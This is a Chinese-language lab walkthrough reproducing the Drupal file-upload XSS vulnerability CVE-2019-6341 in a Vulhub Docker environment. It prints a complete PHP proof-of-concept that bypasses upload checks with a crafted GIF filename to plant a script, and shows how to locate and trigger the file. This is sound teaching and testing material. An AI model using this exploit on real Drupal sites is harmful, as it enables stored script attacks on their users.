目錄
一、Drupal XSS漏洞
二、環境搭建
1、確保系統已安裝 Docker 和 Docker-Compose
2、下載 Vulhub
3、進入漏洞環境
4、啟動漏洞環境
5、查看環境狀態
6、初始化Drupal環境
(1)訪問 Drupal 安裝頁面
(2)完成圖形化安裝
(3)安裝成功
三、漏洞復現
1、通過PoC進行文件上傳
2、構造上傳文件URL
3、訪問上傳文件
本文詳細講解Drupal XSS漏洞(CVE-2019-6341)的原理,環境搭建以及滲透實戰。
一、Drupal XSS漏洞
CVE-2019-6341 是 Drupal 內容管理系統中存在的一個跨站腳本(XSS)漏洞,主要影響文件上傳功能,攻擊者可通過精心構造的文件觸發漏洞,執行惡意腳本。
1、漏洞簡介
條目 | 詳情 |
---|---|
CVE 編號 | CVE-2019-6341 |
發布日期 | 2019年2月20日 (Drupal 核心安全公告) |
漏洞類型 | 跨站腳本攻擊 (XSS - Cross-Site Scripting) |
影響組件 | Drupal Core -?File 模塊?/?編輯器處理 |
漏洞利用前提 | 允許用戶上傳文件(尤其是文本文件) |
CVSS 分數 | 中等 (Moderate) |
影響版本 | Drupal 8.6.x?( prior to 8.6.10) Drupal 8.5.x?( prior to 8.5.11) Drupal 7?( prior to 7.66) |
2、漏洞原理
Drupal 的文件模塊(File module)在處理文件上傳和預覽時存在安全缺陷:當用戶上傳帶有特殊構造內容的文件(如 HTML 文件)時,Drupal 未能正確過濾文件中的惡意腳本代碼,且在某些場景下(如文件預覽、展示文件內容時)未對文件內容進行恰當的轉義處理。具體來說,攻擊者可上傳包含?<script>
?等標簽的 HTML 文件,當其他用戶(如管理員)查看該文件的預覽或內容時,惡意腳本會在受害者的瀏覽器中執行,導致 XSS 攻擊。
二、環境搭建
1、確保系統已安裝 Docker 和 Docker-Compose
本文使用Vulhub復現Drupal XSS漏洞,由于Vulhub 依賴于 Docker 環境,需要確保系統中已經安裝并啟動了 Docker 服務,命令如下所示。
# 檢查 Docker 是否安裝
docker --version
docker-compose --version
# 檢查 Docker 服務狀態
sudo systemctl status docker
2、下載 Vulhub
將 Vulhub 項目克隆到本地,具體命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、進入漏洞環境
Vulhub 已經準備好現成的漏洞環境,我們只需進入對應目錄。
# 進入 Drupal CVE-2019-6341 的漏洞環境目錄
cd drupal/CVE-2019-6341
4、啟動漏洞環境
在 CVE-2019-6341 目錄下,使用 docker-compose 命令啟動環境。Vulhub 的腳本會自動從 Docker Hub 拉取預先構建好的鏡像并啟動容器。
# 在后臺啟動環境
docker-compose up -d
命令執行后,Docker 會完成以下工作:
-
拉取一個包含?Drupal 8.5.0(受影響版本)的鏡像。
-
啟動一個 MySQL 數據庫容器作為 Drupal 的后端。
-
啟動 Drupal 容器,并將其 80 端口映射到你宿主機的?8080?端口(
0.0.0.0:8080->80/tcp
)。
5、查看環境狀態
使用 docker ps 命令確認容器啟動狀態,如下所示從返回結果中的容器名稱 cve-2019-6341_web_1 可以立即判斷,這個環境即為CVE-2019-6341的漏洞環境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
12647a78461b drupal:8.5.0 "docker-php-entrypoi…" 16 seconds ago Up 15 seconds 0.0.0.0:8080->80/tcp, :::8080->80/tcp cve-2019-6341_web_1
字段 | 值 | 分析 |
---|---|---|
CONTAINER ID | 12647a78461b | 容器的唯一標識符。前12位完整ID |
IMAGE | drupal:8.5.0 | 容器使用鏡像:Drupal 8.5.0 |
COMMAND | "docker-php-entrypoi…" | 容器啟動時運行的命令。這里是截斷的,完整命令通常是?docker-php-entrypoint ,這是 PHP 官方鏡像的入口點腳本,用于啟動 Apache 或 PHP-FPM 來運行 Drupal。 |
CREATED | 16 seconds ago | 容器于 16 秒前被創建。 |
STATUS | Up 15 seconds | 容器已運行 15 秒,狀態健康。 |
PORTS | 0.0.0.0:8080->80/tcp | ?它將容器內部的?80 端口(HTTP 服務)映射到了宿主機的?8080 端口。這意味著你可以在宿主機上通過訪問?http://localhost:8080 ?或?http://<宿主機IP>:8080 ?來訪問這個 Drupal 網站。 |
NAMES | cve-2019-6341_web_1 | ?容器名稱明確指出了其用途:用于 CVE-2019-6341 漏洞研究。 |
6、初始化Drupal環境
(1)訪問 Drupal 安裝頁面
打開瀏覽器,訪問?http://IP地址:8080
。以我的電腦為例,即http://192.168.59.128:8080/
直接被重定向到install的頁面,如下所示。
(2)完成圖形化安裝
你會看到 Drupal 的安裝界面。請按照以下步驟操作:
-
選擇語言:選擇 “English” 并點擊 “Save and continue”。
-
選擇安裝配置文件:選擇 “Standard” 然后點擊 “Save and continue”。
-
驗證需求:環境已由 Vulhub 配置好,應全部通過,直接點擊 “Continue”。
-
設置數據庫:這里數據庫選擇SQLite,所有數據庫連接信息已經自動配置好,你不需要做任何修改,直接點擊 “Save and continue” 即可。
-
安裝站點:等待安裝進度條完成。
-
配置站點:
-
Site name: 任意,
-
Site email: 任意郵箱
-
Username / Password / Email:這里設置的是管理員賬號,請務必記住(這里我選擇使用用戶?
root
,密碼 root)。 -
其他設置保持默認,點擊 “Save and continue”。
-
(3)安裝成功
此時一個全新的、存在漏洞的 Drupal 8.5.0 站點就在本地搭建完成,如下所示。
三、漏洞復現
1、下載PoC文件
在vulhub中,已經存放好該漏洞的Poc文件,如下所示blog-poc.php即為漏洞利用的Poc腳本。
# ls
1.png 2.png blog-poc.php docker-compose.yml README.md
blog-poc.php腳本的完整內容如下所示。這個腳本的核心目標是:通過 Drupal 的用戶注冊表單中的頭像上傳功能,上傳一個被偽裝成 GIF 的 HTML 文件,從而繞過文件類型安全檢查,實現存儲型 XSS。Drupal 在處理帶有特殊編碼字符的文件名上傳時,存在解析缺陷,導致本應被識別為圖片文件(.gif
)的惡意文件,其內容(包含 HTML/JS)未被正確過濾。同時,文件存儲路徑可預測,使得攻擊者能夠確定惡意文件的位置并誘導用戶訪問,最終執行跨站腳本。該漏洞的利用依賴于文件上傳驗證機制的繞過和文件名編碼處理的漏洞,結合前端頁面對上傳文件的渲染邏輯,導致 XSS 代碼被執行。
<?php
/*
usage: php poc.php <target-ip>Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/*/$host = $argv[1];
$port = $argv[2];$pk = "GET /user/register HTTP/1.1\r\n"."Host: ".$host."\r\n"."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."Referer: http://".$host."/user/login\r\n"."Connection: close\r\n\r\n";$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);$data =
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
" <HEAD>\r\n".
" <SCRIPT>alert(123);</SCRIPT>\r\n".
" </HEAD>\r\n".
" <BODY>\r\n".
" </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n"."Host: ".$host."\r\n"."User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"."Accept: application/json, text/javascript, */*; q=0.01\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."X-Requested-With: XMLHttpRequest\r\n"."Referer: http://" .$host. "/user/register\r\n"."Content-Length: ". strlen($data). "\r\n".$data;echo "uploading file, please wait...\n";for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";?>
-
獲取表單構建 ID:首先向目標站點的
/user/register
頁面發送 GET 請求,通過正則表達式提取頁面中form_build_id
的值。這個 ID 是 Drupal 表單的重要標識,用于后續表單提交的驗證。preg_match('/name="form_build_id" value="(.*)"/', $out, $match); $formid = $match[1];
-
構造惡意文件上傳請求
- 構造包含惡意內容的多部分表單數據(
multipart/form-data
),其中關鍵部分是上傳的文件名和文件內容:- 文件名:使用
xxx\xc0.gif
,這里的\xc0
是 UTF-8 編碼中的一個特殊字節,利用了 Drupal 在文件名處理時的編碼解析漏洞,可能導致文件名被錯誤解析,繞過部分驗證。 - 文件內容:包含 HTML 和 JavaScript 代碼(
<SCRIPT>alert(123);</SCRIPT>
),這是典型的 XSS 惡意代碼。
- 文件名:使用
- 構造包含惡意內容的多部分表單數據(
-
觸發漏洞的提交方式
- 通過 POST 請求將惡意數據提交到
/user/register
的特定端點(帶有element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax
參數),模擬 AJAX 上傳頭像的操作。 - 重復發送兩次請求以觸發 500 錯誤)。
- 通過 POST 請求將惡意數據提交到
-
惡意文件的存儲與觸發:漏洞利用成功后,惡意文件會被存儲在 Drupal 的文件目錄(
/var/www/html/drupal/sites/default/files/pictures/YYYY-MM
)。當該文件被訪問或渲染時,其中的 JavaScript 代碼會被執行,從而觸發 XSS 攻擊。
2、利用PoC進行文件上傳
blog-poc.php腳本需要提供目標主機的?IP 地址?和?端口號?作為參數,命令格式如下所示。
php blog-poc.php <目標IP> <端口號>
以我的電腦為例,目標靶機的PoC命令為php blog-poc.php 192.168.59.128 8080,具體命令執行效果如下所示。
這段輸出提供了關鍵信息:
-
uploading file, please wait...
:-
表示腳本正在執行,正在向目標發送惡意請求。
-
-
please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM
:-
這是一個路徑提示,告訴你惡意文件被上傳到了服務器的哪個目錄下。
-
YYYY-MM
?是一個占位符,它會被實際的日期所代替,例如?2025-02
(2025年2月)。 -
這個路徑是 Drupal 默認存儲上傳圖片的目錄結構。
-
3、構造上傳文件URL
腳本成功運行后,需要手動觸發這個 XSS 漏洞。需要根據腳本輸出的路徑提示,構造完整的 URL。文件上傳的目錄格式為http://<目標IP>:<端口號>/sites/default/files/pictures/YYYY-MM/
,以我的電腦為例,IP是?192.168.59.128
,端口是?8080
,日期文件夾是?2025-08
,那么完整的 上傳路徑為下所示:
http://192.168.59.128:8080/sites/default/files/pictures/2025-08/
上傳的文件名按照順序被命名為_0, _1,以此類推,故而我剛剛上傳的文件為首次上傳,故而其名為_0,故而上傳腳本的URL地址如下所示。
http://192.168.59.128:8080/sites/default/files/pictures/2025-08/_0
4、訪問上傳文件
訪問圖片位置,即可觸發 XSS 漏洞,如下圖所示。
其內容如下所示,核心是一個簡單的 HTML 文件,包含了一個<script>
標簽,其中的alert(123);
是一段 JavaScript 代碼,執行后會在瀏覽器中彈出顯示 "123" 的對話框。
GIF
<HTML><HEAD><SCRIPT>alert(123);</SCRIPT></HEAD><BODY></BODY>
</HTML>
因為 Chrome、Edge 和 FireFox 瀏覽器自帶部分過濾 XSS 功能,所以驗證存在時可使用IE 瀏覽器,即可彈窗。